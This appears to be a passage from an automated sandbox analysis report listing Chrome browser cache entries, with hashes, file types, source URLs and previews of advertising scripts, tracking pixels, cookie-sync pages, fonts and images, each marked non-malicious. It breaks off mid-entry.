Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Attention Required! \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->.<style>body{margin:0;padding:0}</style>... [if gte IE 10]> >.<script>. if (!navigator.cookieEnabled) {. window.addEventListener('DOMContentLoaded', f

Chrome Cache Entry: 775

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1687
Entropy (8bit):	5.261029540914676
Encrypted:	false
SSDEEP:	48:idvF8qmfxmy4nGoapig8k8mFKRVntOwmy9O4R5z:Od8qmpmy4GoaP8mFKVntOwv9Oc5z
MD5:	C73AFEA6D471E07AC40C542562DC6877
SHA1:	CBA76BDBC1768D8276F06C21838FD1F8FD6ADAA9
SHA-256:	4B16D3A756A24017AAA043412A42A62B84132CD709C0595DFD4097F82476A86C
SHA-512:	260C9CDE2F9A0E07946C9F8DD97DC02D5CFA7AD56A48BC6D2500005CD9D85C4DEC0A2B5204C3341C2FB703C851CDBEBDBF0873B81B0D382F676194167DD46DFC
Malicious:	false
Reputation:	low
URL:	https://js.tncid.app/01_adform.js
Preview:	(function (sn, asap) {..var tnc = this && this.addTPScript ? this : window[(document.querySelector('script#tnc_core') \|\| {}).global \|\| '__tnc'];..tnc && tnc.addTPScript ? tnc.addTPScript(sn, function () {...var promise;...try {....var _this = this....., tncid = this.tncid \|\| ''....., eid = this.eid \|\| ''....., tpIDPlaceholder = tnc && this.metadata ? (this.metadata.ADFUID \|\| '').replace('undefined', '').replace(/^[\_]+ADF[a-z0-9]+[\_]+$/img, '') : null....., vendorId = '55b2bb61-cdc3-434a-ac07-704b66d42956'....., IABVendorId = 50....., adfendpoint = `//c1.adform.net/serving/cookie/match?party=1218&cid=${eid}\|${tncid}`....., tncendpoint = `https://im.tncid.app/gif?eid=${eid}&tncid=${tncid}&3puuid=${tpIDPlaceholder}&3pid=${vendorId}`....., options = {......height: 0,......width: 0,......tabindex: -1,......'aria-hidden': true,......style: 'position:absolute!important;top:0px!important;left:0px!important;width:0!important;height:0!important;border:0!important;'.....}, body = document.query

Chrome Cache Entry: 776

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2937)
Category:	downloaded
Size (bytes):	219584
Entropy (8bit):	5.417728367265481
Encrypted:	false
SSDEEP:	6144:KdEQmJ1czbrKWehWXp7T21homAbas7J9Ua83:9zHgaU7Jmt
MD5:	DDAFE9EE559A665A1E67E4338E00CA53
SHA1:	FDD0295C8758197DCB33B6F3F7DFCE1A6DB385CB
SHA-256:	98727E12C24AB43D1F3A871C66C5CE44070E1CEDF37BDC9FF476233B8183688B
SHA-512:	EB188E9F7580D24676530E8BC6854536329BABDD0BBC017B0A72D94CC781C5B13BDA8ABEA7C68D6190B3FA9C874B5D314015880EE319585EF7B2DA0141DD0F23
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/managed/js/activeview/current/ufs_web_display.js
Preview:	(function(){var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");},da=.ca(this),q=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.q("Symbol",function(a){if(a)return a;var b=function(f,g){this.dh=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.dh};var c="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function(f){if(this instanceof e

Chrome Cache Entry: 777

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3338), with no line terminators
Category:	downloaded
Size (bytes):	3338
Entropy (8bit):	5.250562185970129
Encrypted:	false
SSDEEP:	96:U12Wf5a6P6osx9yRhQlfUf7fmXYtZ8ax3k+QOn73Dj:UfQyR+lCLmX0G+QOn73Dj
MD5:	D79EDD48C8316367EDD78B180DCCF0C2
SHA1:	A27C34B9E952013C2C90376E6BA905A335DE48F6
SHA-256:	BE43FA916BB7AD1D39B9D437EEBB87014169E87334679C36545F4131B406CE51
SHA-512:	F96F7D9D4E1B2B22E7770EDDB5CB1D73FDB40C36A2945EAD7D05E878E3BD0F744B04C7153228065C6830ED84AD0DCCA29EE5B90358E03BECBA2690FB6EC1FDD9
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/689.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[689],{689:(e,t,n)=>{"use strict";n.r(t);var r=n(845);const{LoggerSour:o}=r.t,i=new o("Intext");!function(){var e=window;const{device:t,intextConfig:n,bridConfig:r}=e._sour.config;if(void 0===n)return void i.log("No Intext config");function o(e){const{dsk:t,mob:r}=n;return"dsk"==e?t:r}function l(e,t){e.parentNode.insertBefore(t,e.nextSibling)}function s(e,t,n,o,s=!1){var c=document.createElement("div");if(c.id=n.code+"-"+(o+1),c.classList.add("sour-intext"),c.style.textAlign="center",!n.style\|\|null===n.style\|\|n.presence.player&&0==o\|\|(c.setAttribute("style",n.style),i.log("Add style intext: "+n.style)),n.presence.player&&0==o)if(r){i.log("Intext player enabled");const{div:e}=r;c.setAttribute("class","brid"),c.id=e,c.style.minHeight="6px";var a=document.createElement("div");if(a.id=e+"-bis",s){a.style.background="orange";var u=document.createTextNode("ADV intext-bis "+a.id);a.appendChild(u);var g=document.createElement("br");a.appe

Chrome Cache Entry: 778

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 779

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18798)
Category:	downloaded
Size (bytes):	18833
Entropy (8bit):	5.198890693042313
Encrypted:	false
SSDEEP:	384:ivzwv2QYnTte0KKscI1WxUy/gdLzrXmJUDWjFkgoKjJj5Sh6W0+:WwOQ2te0KaYrXm1hR5Uz
MD5:	F88D5720BB454ED5D204CBDB56901F6B
SHA1:	F1952292FDE4B15936E9AAC16B2B9896684DB95B
SHA-256:	726B820E44F6AB90AD991D30A4BF26D3A5D71493CBCD1FB1EFD0D14E89B9DF2A
SHA-512:	F7E3EC0C5B832116D75CAC2A5A40AB6FE673CC6C0996BD898F25850ED5555484D821E1FC4CA039C69DA3AB51FAA25613D622DB1177D7CDE16DA477145C3A6E22
Malicious:	false
Reputation:	low
URL:	https://c0.wp.com/c/6.4.3/wp-includes/js/underscore.min.js
Preview:	/! This file is auto-generated /.!function(n,r){var t,e;"object"==typeof exports&&"undefined"!=typeof module?module.exports=r():"function"==typeof define&&define.amd?define("underscore",r):(n="undefined"!=typeof globalThis?globalThis:n\|\|self,t=n._,(e=n._=r()).noConflict=function(){return n._=t,e})}(this,function(){var n="1.13.6",r="object"==typeof self&&self.self===self&&self\|\|"object"==typeof global&&global.global===global&&global\|\|Function("return this")()\|\|{},e=Array.prototype,F=Object.prototype,V="undefined"!=typeof Symbol?Symbol.prototype:null,P=e.push,f=e.slice,s=F.toString,q=F.hasOwnProperty,t="undefined"!=typeof ArrayBuffer,u="undefined"!=typeof DataView,U=Array.isArray,W=Object.keys,z=Object.create,L=t&&ArrayBuffer.isView,$=isNaN,C=isFinite,K=!{toString:null}.propertyIsEnumerable("toString"),J=["valueOf","isPrototypeOf","toString","propertyIsEnumerable","hasOwnProperty","toLocaleString"],G=Math.pow(2,53)-1;function l(u,o){return o=null==o?u.length-1:+o,function(){for(var n=M

Chrome Cache Entry: 780

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1095)
Category:	downloaded
Size (bytes):	1134
Entropy (8bit):	5.441250002011496
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTmFbzXh6vEFM+sBntvwCCZV9Ukx8wR82oxTuRXKr5c:c2Yz8T0YviMnhYJx8wRmxTuRXEc
MD5:	09847F8017431304E1776EF807BF3C8A
SHA1:	409F1116CB7B49A19E92C0524F5CDDEC4AC84FB1
SHA-256:	8330B1060E1C30286FA30FE6CC9CC34D8AA89E9674B6155CD9C8539C59EFBB4D
SHA-512:	7663579D692F364CDB2472E19D62D67A8E05C586A53C57D6A566DA0AF5349C2629ECFE85C2C0B6190CEB32EE5A17D552A661C33A2D0D5E7C77FE4BA730FF82F2
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=TubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://sync-tm.everesttech.net/upi/pid/P2n85yff?redir=https://partners.tremorhub.com%2Fsync%3FUITM%3D%24%7BUSER_ID%7D%26gdpr%3D0%26gdpr_consent%3D&rid=30f2e100c3804685b89bc4

Chrome Cache Entry: 781

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	11623
Entropy (8bit):	7.943338056566603
Encrypted:	false
SSDEEP:	192:mrU6drgtSaDmTzvnCuvFfZvellkO2eXLAmXy35bNLO1COrP83K+2c7KI:+Nd0tJmTzrdxvIlfE339NI4z1eI
MD5:	BAAF5198C71950CEDA013F3C96D8252B
SHA1:	7E4AEFC81C35EE88ABAE8B32B5132CE4EEDF914D
SHA-256:	76B2403A13B5798F2D885BAD80258C11048D911A05FD185698CA8558E75A729C
SHA-512:	033058C55873547E41936F7020D7DFE04CA305D948F0D6AA0FA70188EFF25970F06964573B2966880D9CAF6A0EAAC0777BF5373A279E3A847D6866288A9CC0F6
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........D.."...............................................................................$.:g..............6..:.....]J......m.....p]............5..X..B..%..$.:H.H.H.L..P/?....9j.r.....9xo.:...".\y..U.k..../...U..q.e..(..+....=.%..$..H.;..@.?.F...D...H.q...KL4..../....Qd.=..N..G...]..9T.IN......D.c].j.h=.%..$.$.2t.y.....H......u).Y....y[zH9..5..g.2..#D.....r.4.5.w.j..a.[.l..)...K..I I I .<...-..rZTMV..5.@.A.a. .3.3.9..../.Z..t..K?@....W}Rh..k@...y....x{..).?^A..N..)..'?..@.z.`....4l(...T.PU.a.L....-1..-...2.....'.Lt.r.Jj.2..7y^...+D....-.O.sh....uOm..us.......:...........j.i.T.F.......R...l^.c...ndSQ.."P..y....m..p.Z._..q..l...(....;,..o.z......S~v....y.vTZ.n&.......;h...n.!.jA...g....5z.d..k%.?......O.G#..........}]v6.s..P..)......".>...Dy..[K8!=...3..`ie....!v2......mQ..L...j.4.'S.r.z....s.

Chrome Cache Entry: 782

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4262)
Category:	downloaded
Size (bytes):	336337
Entropy (8bit):	5.600999915798116
Encrypted:	false
SSDEEP:	6144:/bVr5DvdLPPBYsY83c6sY8jjxxtcisu6qsu6Zj9xbsu67j7xaRUYIPXddO1JLOLo:rvNPBYsY83c6sY8jjxxtcisu6qsu6ZjT
MD5:	39559D325B418A8F4A1E073C7636B205
SHA1:	D46323D5BFAC8AF3B866E0169008A7A8869C5F3A
SHA-256:	204B9FB368F71371C14575460AB82F7AC74DAC66F698233EC95695E300A8CE4C
SHA-512:	8FAD3378362C64601959FAC698391E9680CD73942630ABED5E4CA388AF7C3A27CBA90296D89695E0420523A3BFF99A1693CE630EF011C7B72E46AC3740F16354
Malicious:	false
Reputation:	low
URL:	https://z.moatads.com/gumgum409323403/moatad.js?moatClientLevel1=1454&moatClientLevel2=14579&moatClientLevel3=37786&moatClientLevel4=2243394&moatClientSlicer1=bsnews.it&moatClientSlicer2=6fazhwr5&zMoatUnitTypeID=7
Preview:	/Copyright (c) 2011, 2024, Oracle and/or its affiliates. All rights reserved./.try{(function(z,w){function Nb(b){if(a.b.x())return AB_SCAFFOLD.sampling.onReady(function(){nb(b)});nb(b)}function nb(b,p){a.n.a.sxaz("trackingReady",{callback:Nb});if(!a.b.x()\|\|!AB_SCAFFOLD.sampling.tagShouldNotTrack()){Za=x.h;x.h++;x.i[Za]=!1;"undefined"===typeof b&&(b=a.y.e&&a.y.e(R,"display"));var r=b&&a.w.b(null,b,{},null,!0);r&&r.qs&&r.qs.d&&"string"===typeof r.qs.d&&(a.j=r.qs.d.split(":")[0]);r=null;r=!1;ob&&(delete a.d._sprg,delete a.d._sdrc,Qa=!1,a.d.fl=!0,a.d.fk=!0);if(r=a.b.x()?!AB_SCAFFOLD.sampling.isEnabled():.a.d.aa().isInApp&&!a.d.cw())delete a.d._sprg,delete a.d._sdrc,Qa=!1,a.d.fl=!0,a.d.fk=!0;a.h=12;a.i=6;a.d._sprg&&void 0!==a.d._sprg[a.j]&&(a.h=a.d._sprg[a.j],a.i=parseInt(a.h/2));a.b.x()&&(AB_SCAFFOLD.sampling.isActiveSampling()?a.h=1:(delete a.h,delete a.i));ob&&(delete a.h,delete a.i);r&&(delete a.h,delete a.i);a.h&&(Qa=!0);a.r.v()?a.v.n()():a.v.i();a.d.aw.c\|\|(a.d.aw.c=!0,a.d.bd?x.dcsx

Chrome Cache Entry: 783

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20175)
Category:	downloaded
Size (bytes):	20176
Entropy (8bit):	5.5741176447132075
Encrypted:	false
SSDEEP:	384:43pIf9Iu1yzVAv56WPvi9AKlA+5e69VTSBH3Tm1hpShbPI:I6Iu0anKA+5J2Bjm1hohbPI
MD5:	55773CBFFE27B38CAEB15A148AFAC69F
SHA1:	E9F625A75D67FA34A02CFF585FDB513C83DE0F2C
SHA-256:	1654F8D19DF01D1906A8468D15735A4C0FD51BA656DB654D5C081BC471CC417C
SHA-512:	A9BD29E78005F0AB706C2449186DD1EDE11DCDE2615BDE820345C1247C8522BC9A5E69E388F8EB6F658BA35B979C12410DD8DDA0AFD80BCABB31ACE613DBD438
Malicious:	false
Reputation:	low
URL:	https://cstatic.weborama.fr/js/products.js
Preview:	function _send_after_cmp_check(i,a){if("function"!=typeof window.__tcfapi)a=_ap_an.decorateURL(a),_create_element_of_given_type(i,a);else{const _=function(e){e?.listenerId&&window.__tcfapi("removeEventListener",2,()=>{},e.listenerId)};a+=-1==a.indexOf("?")?"?":"&";var r=_ap_an;window.__tcfapi("addEventListener",2,function(e,t){var n;t?!1!==e.gdprApplies&&"tcloaded"!==e.eventStatus&&"useractioncomplete"!==e.eventStatus\|\|(t=a,e.gdprApplies?(t+="gdpr=1&gdpr_consent="+(e.tcString\|\|""),function(e,t){for(var n in t)if(t.hasOwnProperty(n)&&!e.purpose.consents[t[n]])return!1;return!0}(n=e,[1,3,4,5,6])&&n.vendor.consents[284]&&(t=r.decorateURL(t))):t=r.decorateURL(t+="gdpr=0"),_create_element_of_given_type(i,t),_(e)):(_create_element_of_given_type(i,a+"gdpr_cmp_failure=1"),_(e))})}}function _create_element_of_given_type(e,t){("script"==e?_create_script_for:"image"==e?_create_image_for:_create_iframe_for)(t)}function _create_script_for(e){try{var t,n=document.createElement("script");n.src=e,n.ty

Chrome Cache Entry: 784

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	7248
Entropy (8bit):	7.8872973896261
Encrypted:	false
SSDEEP:	96:nPXp2pczKgLylu89sBgfT/Cw2ORp4Q7nEk0JQ3H5oBOh10MWDy4h8sTdTPIGGNr9:nPXppKayfmw22NrEOAg10MsTNOr0i
MD5:	DFC296F9C3BD21071047E6EF0A45EFC6
SHA1:	333F94086339DE4B9E2A75742484D92E3B98A483
SHA-256:	5C0F7453BBC33C77F90BCC722F48B75D030286005F12C3122BA1272E1FEB9829
SHA-512:	8706F106F1A7950ED1F3FE374491E734ECF773F7A664972ABDEC1E1474672F0A0F31B4724E9F47BE08489025399F1428966CDD0B18CAA875677BF3BA443698C6
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C................&...../"$.&81;:7165=EXK=ATB56MiNT[^cdc<Jltl`sXac_...C.......-..-_?6?__________________________________________________........D.."............................................................................)*........0...t.b.4&....."..\..@.nwM.W...gT..=3...]8..{.)-bD..)....LV..^J.br.i....=.u.......!8.....N....(q.:................]....FQ..5.6F.....0A..Jhh%...+"2..\.Y..N.........q..4SCitp.[Lb\|H..p....d..q..I.LcA..E...}>oJ..I..SJ.].uTt.+.b.+.(.]..Gm.\.h_..N..tub....d..+..A....z>..+t(..]...0.Y.../..&&0.......iL..(.X^..08P.OW>Y...G=NqOX;.....Z....q.EVW.=.!4.....Yu.cs.9.:...i.A..4TH...T.$.....i.yJ....a..W..e...=..E.1.n{....h.. L@.1.....'.-t.h3...jX.s...q..yo.......p.Kt.s.e5.te.F........S....@............`.:.....R.Zs.d.Y.Nj.Z...F....h.z.l...q..j...8....T.....Ly.:...kG.._l......XJ....j..Z&.p.d...I..5s.N.Q4...d)5._#f[,.q9.C......N\|/.lZ$.....nzn1.kY.....(.......................... !123"A.0@#B...........?....ce..PL.q.Aq,..~...c

Chrome Cache Entry: 785

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://r.casalemedia.com/rum?cm_dsp_id=64&external_user_id=035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 786

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 61736, version 1.0
Category:	downloaded
Size (bytes):	61736
Entropy (8bit):	7.996579108855938
Encrypted:	true
SSDEEP:	1536:k6Fj5vgPSsqNzcvwFQsQK+CKxd+Vs6lj9BsA:zl5vAqEVXKexB6tPsA
MD5:	EDE84D96808C486E3DE74CBD8F2A2C80
SHA1:	BAE3CE34F928BE471EE489BBFE5B7425AEE8298E
SHA-256:	02F1DCC0C722E24CBA9BE4B720831A79489E766D5EDF8B77F582E0869312D86E
SHA-512:	996D7258DD45F8676916F05138E7F3141ABD7C0207AE43CA820A10211BD237C6BDAC0209967B45C4A1D27C08DBAAD2F933D16D0400B0710981804E651D4B804B
Malicious:	false
Reputation:	low
URL:	https://cdn.bidbrain.app/compressedFonts/RobotoRegular.woff2
Preview:	wOF2.......(......................................D...$..h.`..H.L..<.....`..C..F...l.6.$.... .... ..[[OG..........m.P.t../..F4....V.<m.BH7........k...o......./K&2f...... s.:....;.Bh.Q.G...4...QH..&.m.:J.......X.8:.].S[Oo..$.Y.}.........&9...:/..]..i....>..+$!.Y.&..L...T..o,3zo..:.....H...9a...k.[.9.?tR..$.......j...B..:Uo\..$.M...-op...B..6..lx.~.....p,...0.............>.%k..;Q'..GV......!..?.... <.?.-.$.<.:..j.e7.sa.e!.....&.'..R.^.Z~.N=....x....^.E.z..<.$.)%..;...K..'.B.+......{~.A.....].~.n$Vw....\d.Ce.k.).shnB"*..:...{.A.....=.^....HH.>.....W.....9..a.z.7&q....(...E>eD.\..R."~j..........y..(.M-R.vny..xRQ.V...y.O..0........._..U.<^.n...~..Gp.NW>...3.LC..`'.oR..eD.%p........&.....Ytb..x_\|e.....g.....Ds..#W:r...U..=!l.Z...f...........UQv...X..n..B.eT.)Fm`.Q..O.K..I+Y.d.8..(...>..w\.............U.}....!:.,...l.JaA!,F..?....l........i&.......e.IW~...`R@.BH..2....z.o..5b..`T.H...R...B..LJ....$...)z....6w.H.. l..y..'jr..6....c....\|]......y.O...c.f.X$E5..{s.

Chrome Cache Entry: 787

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 788

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "CookieSync.html", last modified: Thu Oct 20 08:45:22 2022, max compression, from Unix, original size modulo 2^32 435
Category:	downloaded
Size (bytes):	252
Entropy (8bit):	7.215064843997482
Encrypted:	false
SSDEEP:	6:Xp+8u29cGd3D7Efhc9wjywzKYCSMUtdKD9SDrQbXHSb:Xp+tb83D7zaugMUtMQeXO
MD5:	C75E63BA579186D29CFAEF2184D13143
SHA1:	E34302A0CF90CB684CAF7E775EC56189B139C175
SHA-256:	8E09B9E2F4EC48876453311AFB5E5DE8B059A52EB50C1FA01166940CAFC85B27
SHA-512:	3C9F9FA6E49985A1D544F6CA4594712BECFFDF2E04EE479A2AF9CBE2AACC3CEBF0BECFE4F4E27250EEBA9D78A76379481575FC996137DE562063CFFCCDB73D61
Malicious:	false
Reputation:	low
URL:	https://csync-us.smartadserver.com/3668/CookieSync.html
Preview:	......Qc..CookieSync.html..Q.N.0....&..x....4a..6...:.R...1....f..yo.q.t./.....m%.c...v.9...0.3..y.Np.4.,.Sg,J.Vl3.L..v!..\|^.b.<..R....x.z.. 5...M....P.z.$Ii.Up..0.H..~.H.\.#.,..wu.%.(?d!.[.%.G.w6....Z....^DS.l..F..]..o....[@..v..}..L......

Chrome Cache Entry: 789

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://sync.richaudience.com/a16582f729b43087fa6353b148f7ea54/?uid=a109dc60-dc7c-45e5-ab53-e2448a53420f&gdpr=0&euconsent=&domain=sync.richaudience.com
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 790

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 791

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=the_mediagrid_eb&google_hm=f6fc5731-6145-4496-aa7d-dffabe45a73b&%%GOOGLE_PUSH_PAIR%%
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 792

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
